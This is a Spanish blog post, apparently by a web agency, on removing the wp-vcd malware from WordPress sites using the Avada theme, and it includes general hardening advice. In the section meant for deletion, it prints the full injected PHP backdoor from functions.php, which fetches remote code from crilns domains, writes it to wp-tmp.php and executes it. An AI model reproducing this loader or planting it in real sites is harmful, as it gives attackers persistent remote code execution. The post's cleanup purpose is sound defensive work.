SOLUCIONADO: Cómo eliminar un virus de una web en WordPress

virus

WordPress es el gestor de contenidos mas utilizado a nivel mundial, es muy fácil de usar y tiene una infinidad de funciones pero no todo son ventajas. Es muy probable que pueda tener virus y eso no mola nada.

Google tiene en cuenta este virus igual o más que el usuario que lo esté afrontando y es por eso que vamos a enseñarte a eliminar un virus en wordpress.

Si quieres saber cómo eliminar este virus sigue leyendo.

Este artículo va a poner de ejemplo el tema de Avada pero sirve para cualquier tema.

🦠 ¿Que es un virus o malware en WordPress?

Para que te entre virus en una web tienes que tener vulnerabilidades. Una vulnerabilidad es un error en un código por el cual los hackers o algoritmos detectan y entran.

Por culpa de estos bugs en nuestro código nos entran en la web y nos inyectan código malicioso, nos modifican datos, nos roban información, etc. Són virus que abren páginas web solas.

Normalmente el fin de este virus es ganar dinero, ellos inyectan código (en este caso) y cuando clicas a «algo» te redirecciona a un anuncio o otra página. De esta manera ganan dinero o trafico en otros sitios, a coste de nuestra web y sus vulnerabilidades.

Es muy difícil eliminar un virus de una web, sobretodo si no eres experto. Hay muchas causas: pueden entrar por el servidor, por el core del WordPress (CMS), por los módulos o plugins del CMS, etc.

Si quieres eliminar un virus y no sabes como, puedes contactar con Vostok, trataremos tu proyecto con mucho cariño.

🦠 ¿Qué hace exactamente este malware?

No es nada del otro mundo, simplemente como ya he explicado va a fines económicos.

Este virus nos inyecta un código que se encarga de redireccionar y/o poner anuncios no deseados.

Són virus que abren páginas web solas.

Por ejemplo cuando clicas al botón de contactar, o al «blog» en el menu. En vez de ir a las páginas de contactar o al blog va a otra página externa. Esta página externa normalmente es spam, nos dice que hemos ganado un iPhone, que hemos ganado 1000€ y mil cosas más del estilo.

También me ha pasado que mientras navegas por la web te salen pop-ups con anuncios de terceros. «Jenifer te quiere conocer», «Rosana está a 1Km de ti», etc.

🦠 El virus es muy listo

Como ya hemos dicho este malware es inteligente. A parte de autogenerar los archivos maliciosos que borremos, hace más cosas.

El virus sabe las ip’s donde se ha abierto la web habitualmente y en esas ip’s no sale. También sabe los ordenadores que tiene el administrador y sus ip’s. Es por eso que normalmente no te das cuenta que tienes este virus en la web ya que a ti no te sale.

Yo me enteré gracias a que entré en el ordenador del instituto con la ip de allá.

A la que entré 5 veces más en la web ya no me salió y de nuevo pensé que lo había solucionado y que va. El virus se dio cuenta que se habían abierto la web varias veces en ese pc y bloqueo el malware para esa ip y para ese pc.

En definitiva, tú apenas vas a ver el malware.×Sobretodo haz copias de seguridad de la web entera. Es casi probable que rompamos la web ya que tocaremos cosas muy delicadas. Si necesitas ayuda puedes contactar con nosotros.

🦠 Limpia un WordPress con virus desde cero

Lo primero es que cuando subes una copia limpia de WordPress, arreglas el problema de funcionamiento de WordPress porque restauras los archivos originales y ya no están modificados.

Pero siempre hay otros archivos modificados, o incluso, solo archivos subidos como uploaders, scripts para envío masivo de emails (yo he visto sitios enviando más de 16.000 emails/hora.

Mucha gente se piensa que solo subiendo todo de nuevo, sobrescribiendo los archivos, resolverá el problema.

No sirve solo subir todo de nuevo y sobreescribir los archivos.

Seguro que volverás a tener problemas en breve, o no lo solucionarás por scripts que te han podido subir previamente o en un fur¡turo.

En el momento es que comenzó a pasar todo, ¿Tenias plugins, WordPress o el theme sin actualizar?

Una cosa que puede suceder, es que «limpies» WordPress, pero ni los plugins, ni el theme, ni otros directorios de WordPress.

Lo que se tienes que hacer para limpiar una instalación de forma correcta y por este orden es:

🦠 Prueba con el plugin de WordPress Wordfence

wordfence

Puedes instalar este plugin y hacer un scan completamente gratis.

En el escaner van a salir todos los ficheros maliciosos.

Te recomiendo que no uses la opción de reparar todo y/o borrar todo.

Yo de ti, iría uno a uno probando que al eliminarlo o repararlo la web sigue activa y no ha caído.

Ten en cuenta que la cache puede mostrarte la web a la perfección cuando en realidad está caída.

Estos tres archivos maliciosos «wp-feed.php» «wp-vcd.php» y «wp-tmp.php» pueden causar la caída de la web si se eliminan mediante Wordfence, por eso vamos a explicar los pasos para eliminarlos manualmente.

🦠 ¿Qué son los archivos wp-feed.php, wp-vcd.php y wp-tmp.php?

Estos archivos son puestos automáticamente por el hacker o algoritmo.

Seguramente un algoritmo con un crawler esté buscando WordPress hechos con Avada con esta vulnerabilidad y cuando lo encuentra, entra y inyecta el código. En este caso nos van a modificar el functions.php y nos va a añadir wp-feed.php, wp-vcd.php y wp-tmp.php en la carpeta de WordPress «wp-includes».

🦠 ¿Qué pasa cuando el hacker entra a nuestra web?

Nos inyecta código malicioso con malware. Cuando tienen acceso a nuestra web nos añaden estos tres ficheros .php que son los causantes de este virus o malware. Són virus que abren páginas web solas.

🦠 ¿Dónde están estos archivos php?

Los archivos wp-feed.php, wp-vcd.php y wp-tmp.php estan alojados en la carpeta que tiene el core de WordPress WP-includes. Es importante tener una buena seguridad en estas carpetas empezando por los permisos. De esta manera los hackers tendrán menos posibilidades de entrar y lo pondremos más difícil a la hora de dejar que nos inyecten código malicioso.

🦠 ¿Qué pasa si elimino wp-tmp.php, wp-vcd.php y wp-feed.php?

Nada en absoluto. Este virus o malware es muy listo y en cuando lo borras y te crees que todo ha acabado se te vuelven a generar automáticamente. Aquí esta el problema. Yo borré mediante ftp wp-tmp.php, wp-vcd.php y wp-feed.php y cuando refresqué el ftp volvieron a aparecer.

El malware tiene «creo» que en functions.php (que más tarde eliminaremos) un código encargado de regenerar los ficheros wp-tmp.php, wp-vcd.php y wp-feed.php cuando se borran.


🦠 Como eliminar el virus wp-feed.php, wp-vcd.php y wp-tmp.php

Eliminar el virus de Avada no es fácil. Me he pasado más de 4 meses hasta que he dado con la solución. Voy a explicar algunas soluciones para saber cómo eliminar un virus de WordPress. De más fácil a más difícil.


A mí no me ha funcionado este método, hiciera lo que hiciera se me caía la web así que fui al siguiente método y me funciono.

🦠 En los ordenadores que acceden vía FTP al servidor

Limpialo todo con un antivirus. Hay de gratis como el Panda Free

Una vez pasada Panda Free, pasa el Panda Cloud Cleaner.

Con este acabarás de asegurarte que no tienes ninguna infección.

Si eres usuario de Mac, te recomiendo que utilices ClamXav y si eres de Linux, ClamAV

Si usas FileZilla, actualiza a la Ãºltima versión para tener las contraseñas encriptadas, no en texto plano como las tienen las antiguas versiones.

🦠 En ordenadores que tienen acceso a la administración de WordPress

  • Pasar los dos programas de Panda o los otros si no eres de Windows por si tienen troyanos que están capturando las contraseñas.

En el servidor:

  • Sobre todo, hazlo después de haberte asegurado que tu ordenador no tiene ningún tipo de infección, o te las volverá a capturar el posible troyano.

En WordPress:

  1. Ten a mano los ficheros de instalación del Tema. Que no sea nulo el Tema. Si es Avada lo habrás comprado en ThemeForest, entra y vuelve a descargar Avada.
  2. Haz lo mismo con los plugins que necesites.
  3. Descárgate todo el directorio uploads de WordPress a tu ordenador.
  4. Si hay algún usuario que no debiera estar, bórralo.
  5. Ve a la base de datos, y mira la tabla {prefijo}_users que no haya ninguno que no debiera estar ahí.Si lo hubiera, apunta el ID de usuario y elimínalo.
  6. En el caso en que hubiera algún usuario que no tiene que estar en {prefijo}_users ve a la tabla {prefijo}_usersmeta y busca todos los metadatos del ID de los usuarios.
  7. Una vez copiado, ábrelo y mira que no haya nada que no debiera estar ahí.
  8. Pasa el Panda antivirus o los otros antivirus si tuvieras otro SO por el directorio uploads que te has descargado.
  9. Entra uno a uno en todos los directorios dentro de uploads y de los otros directorios creados por otros plugins y mira que no haya nada que no debería estar.
  10. Si hay archivos index.php, ábrelos y mira que no haya nada raro.
  11. Borra TODO lo que hay en la web ¿todo? Ten en cuenta que debes ya haber copiado wp-config.php, el directorio uploads, los otros directorios creados por plugins si los hubieran y haberlo comprobado. OJO, hablo de todo lo relacionado con WordPress.Si tuvieras cosas que no pertenecen a WordPress (otros directorios, otros CMS, etc..) no los borres, pero tendrás que revisarlos también por si están entrando por ahí
  12. Sube el directorio uploads ya comprobado y limpio y los otros directorios creados por plugins si existieran, igualmente revisados y limpios.
  13. Sube una copia limpia de todos los plugins que usas en tu sitio
  14. Entra en la administración de WordPress y guarda de nuevo los enlaces permanentes para que te cree un .htaccess nuevo.
  15. Que los usuarios registrados intenten cambiar de contraseña. (opcional)

🦠 Permisos de archivos y directorios en el servidor

Este apartado es uno de los más importantes. Podemos tener todo actualizado y sin vulnerabilidades, pero si aplicamos permisos incorrecto desde el punto de vista de la seguridad a los archivos y directorios, estamos dejando el campo abierto a los cyber criminales.

¿Alguna vez has tenido que dar un permiso 777 a un directorio o archivo? si es así, tienes un gran problema. Hacer esto, es como irnos de fin de semana de nuestra casa, y dejar la ventana o la puerta abierta de par en par. Puede que un ladrón no vea que te la has dejado, pero si lo ve, entrará y te limpiará la casa. El dar permisos 777 es como dejarse la ventana o la puerta abierta en tu casa, con la diferencia que los cyber criminales saben que por regla general que esa ventana o puerta será el dirtorio wp-contant/uploads o wp-content/cache, etc…

Si te encuentras que debes dar permisos 777 para que tu WordPress funcione de forma correcta, habla con tu hosting o sysadmin y dile que instale uno de los siguientes mods en el servidor:

  • suPHP
  • mod_ruid2
  • mpm-itk
  • mod_fcgid
  • PHP-FPM que es una alternativa a mod_fcgid cuando el servidor web es Nginx en vez de Apache

Si tu hosting se negará por el motivo que fuera, te aconsejo que busques otro hosting.

Una vez instalado, ya no te hará falta dar permisos 777 y asegúrate que todos los permisos son para directorios, 755 y para los archivos 644, a excepción si quieres del archivo wp-config.php que le puede dar permisos 440, pero no es obligatorio.

Si el hosting instala uno de esos módulos, y tu pones los permisos a los directorios y archivos que te comento, tu WordPress estará con todas las ventanas y puertas cerradas y blindadas, siempre y cuando tengas todo actualizado a la última versión y no tengas troyanos en tu ordenador.

Por cierto, si eres usuario de Mac o Linux, no caigas en la falsa seguridad que como yo uso Mac/Linux, no me afectan los virus. En primer lugar, eso ya no es cierto, y en segundo lugar, si marcáis la casilla de WordPress de «Recordarme» en la página de inicio de sesión, os pueden capturar la Cookie de sesión en cualquier sitio y acceder a vuestro WordPress con vuestro propio usuario. No es algo normal, pero se puede llegar a hacer. Mi recomendación, nunca marquéis esa casilla.

Espero que esto os sea de ayuda.

Como has podido ver, te pueden estar entrando de varias formas.

  • Tienen acceso al FTP
  • Tienen contraseñas de usuarios con permisos
  • El theme está modificado
  • Plugins modificados con vulnerabilidades
  • Archivos que te hayan subido por vulnerabilidad.
  • Permisos erróneos o peligrosos en archivos o directorio (777)
  • Marcado el «Recordarme» en el formulario de identificación y posterior captura de vuestra cookie
  • Por desgracia, existe un último punto que no podemos evitar nosotros de ninguna forma, y es por culpa del mismo hosting. Es que el servidor no tenga las cuentas aisladas, es decir, que si el cyber criminal accede a otra cuenta del servidor por no seguir todos los consejos de seguridad, por muy seguro que lo tengamos nosotros todo, nos hackearán igual ya que podrán saltar de la cuenta asegura que han hackeado a la nuestra. Por eso es importante averiguar si el hosting usa el aislamiento de cuentas. No todos los hacen ni saben como hacerlo.

Regla básica de seguridad

  • Tener siempre TODO actualizado a la última versión. El dejar algo sin actualizar, puede significar el dejar una puerta abierta a los cyber criminales.
  • Nunca escribir con un usuario con rol de administrador, hacerlo significa que el cyber criminal puede saber el nombre de usuario del administrador. Si ya los has hecho, crea un nuevo usuario con rol administrador, accede mediante este nuevo usuario, y degrada a Editor el que estabas utilizando hasta ahora.
  • Utilizar siempre contraseñas seguras. Cuanto más larga, mejor. Por regla general, si la contraseña la puedes recordar, es que no es lo suficientemente fuerte. La forma más sencilla de solucionar este problema, es la utilización de gestores de contraseñas, y no hablo de los que incluyen los navegadores, si no de software adquirido como podría ser 1Password. Estos softwares, aparte de guardarte todas las contraseñas de forma segura, si quieres te las crea, de forma que gracias a él, las contraseñas de todos mis sitios tienen siempre un aspecto similar a este U>g43NftigVgWBtvB4j64YsPv(U$w]A, contraseñas de 31 caracteres (letras, números, mayusculas y minúsculas y signos) de forma que son en la práctica imposibles de encontrar por un ataque de fuerza bruta.
  • Nunca dar permisos 777 a un directorio o archivo
  • Nunca utilizar la misma contraseña en dos sitios diferentes. Si se hacen con tu usuario y contraseña, tendrían acceso absolutamente a todos vuestros sitios.
  • Nunca, nunca te conectes a una WIFI gratuita si no estás utilizando un VPN. El hacerlo puede significar que un cyber criminal esté capturando todo lo que haces consiguiendo todas tus contraseñas. Y mucho menos accedas a tu WordPress a menos que uses el VPN o tu sitios esté bajo cifrado (HTTPS/TLS).
  • Realizar backups diarios de tu sitio. Esto hará que en caso de un problema, sea del tipo que sea, se pueda restaurar la web de forma rápida. Es importante que este backup sea enviado a otro sitio, ya que si no fuera así, el mismo problema que afecte a nuestro sitio, podría afectar a los backups, con lo que los perderíamos todos. Los backups, por regla general, pueden ser enviados a Dropbox, S3 de Amazon, Azure, etc…
  • Y por supuesto, nunca, nunca, nunca, descargarse themes o plugins de sitios desconocidos, y aún menos si os están ofreciendo un theme o plugin que por los cauces normales lo deberías adquirir. Estos themes o plugins, en un 99’99% de los casos llevarán regalo, es decir, os estarán poniendo un backdoor en vuestra instalación por el que entrarán.

🦠 Elimina el virus de Avada manualmente

No tengas miedo, es difícil pero no cal pasarse. Si no tienes experiencia te recomiendo que vayas con mucho cuidado y si la tienes… también.

Te voy a mostrar los pasos que he seguido para que sepas cómo eliminar el virus de Avada en WordPress.

¡Vamos! ¡Manos a la obra!

Ves con mucho cuidado de no borrar algo que no debes. Tienes que mirar atentamente el php escrito. Si ves algunos enlaces de otras páginas o ves alguna mención a los archivos maliciosos que nos han añadido, debes borrarlo.

Tienes que borrar todo ese apartado. Ves probando a quitar código poco a poco y comprueba que la web sigue estable. Por si acaso guárdate el código que has eliminado por si la web se rompe volverlo a colocar.

Este paso es muy importante ya que posiblemente es el encargado de hacer que al borrar el virus vuelva aparecer.

1. Edita el functions.php y elimina el código malicioso

🦠 ¿Dónde esta el archivo functions.php?

El archivo functions.php esta en la carpeta themes dentro de wp-content.

Para acceder desde ftp, desde el cPanel o Plesk tienes que entrar dentro del dominio > wp-content > themes > Avada (o el tema que uses) > functions.php

Haz una copia de este fichero antes de tocar nada ya que una simple coma puede tirar la web.

Borrar el siguiente código: o algo así...

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='63c8d53637ade64b66da22dcdcc8d269';
        if (($tmpcontent = @file_get_contents("http://www.crilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.crilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.crilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.crilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        }     
    }
}

2. Cambia los permisos de los archivos wp-feed.php, wp-vcd.php y wp-tmp.php y eliminalos

Depende desde dónde lo hagas cambiará la forma de hacerlo. Casi todas son iguales, yo lo voy a hacer desde el cPanel ya que es el método que más gente utiliza.

Es muy sencillo. Tienes que visualizar los tres archivos y cambiar los permisos.

🦠 ¿Cómo cambio de permisos en cPanel?

Fácil. A la derecha tienes una serie de números. Para quitar permisos de lectura, escritura y ejecución tienes que cambiar el 644 o 755 que tienes actualmente por 0000. Remplaza estos 3 archivos por ceros.

permisos

3. Comprueba que no se te han vuelto a generar los archivos .php

Entra de nuevo en WP-includes y refresca la página sin caché. En windows control+F5 y en mac command+shift+R.

Comprueba que no salen los archivos maliciosos. Si salen (qué es lo más normal) vuelve a hacer el paso anterior y vuelve a revisar el functions.php.

Más tarde también puedes volver a hacer un scan con el plugin Wordfence y comprobar si te ha eliminado estos tres archivos. Si no se han eliminado (siempre y cuando tengas una copia de seguridad) prueba de borrarlos con Wordfence. Si el caso sigue tendremos que pasar a la siguiente y ultima alternativa para saber cómo eliminar un virus de Avada en WordPress.

satisfaccion

Si necesitas más información o ayuda no dudes en contactar.

5/5 (1 Review)